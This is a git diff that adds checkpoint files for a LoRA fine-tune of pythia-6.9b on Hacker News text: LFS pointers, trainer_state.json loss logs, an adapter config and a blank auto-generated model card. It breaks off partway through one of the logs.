-0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e83e5d9410e1f26d386443be28c30683e9033f64e9c4206a9c756b682bbfca34 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..7b595b321a72a4824ae244477d2498fafdb020d5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a2dbd0dd7a55773cb29dff8b79abe29f564904dc56b67bad41408b84af349f39 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..82f7415495fcd1c3ffb5dae79c8c3a4c2269faa6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9a6424cc1a4d391795fbea6a94823363dca21ce0e7ec6c433e8cb5b0aca0060f +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..82f0764fa1ca7bd5d0d2c27e699e54f97149a9da --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:09ce894ec673ae7c851228a15e2e8a3dfc488203c01cbf434a7c4cbec9b7becb +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..5f4c9c74e709d5b16cbf5da140c8c0fb1826f6f6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/trainer_state.json @@ -0,0 +1,723 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 6.133333333333334, + "eval_steps": 10, + "global_step": 460, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 7.53759311364096e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..9ebdaab046156eb5df8349fbaa753da414e909b8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9541ddd1a931c31533839723775f32b76b8c2d654fc3b11bc91aec0171754385 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..646f059b0409fc5022df477d01139029680f618e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0b9df82e7378ffdcc7ddcdcd47606fe948dd0bb058349875ae5df15bc64f857d +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..84ca1f63cf231e2aa1c43b465c46ef11c80bc867 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:03fc4a1860f68759a4d7833f4317681e377d4e71cf91ab1f091da8cd71579d26 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..9e4c1530ac9944d4b54caf372d4f9930c6597321 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ee66a0b6b4d05213664fc79a1ffd83a3bbefdb7154906787c3ef06bfdc4539f5 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..78a5f98cdbf39088224b2eee2a5d9264c01db2e1 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/trainer_state.json @@ -0,0 +1,738 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 6.266666666666667, + "eval_steps": 10, + "global_step": 470, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + 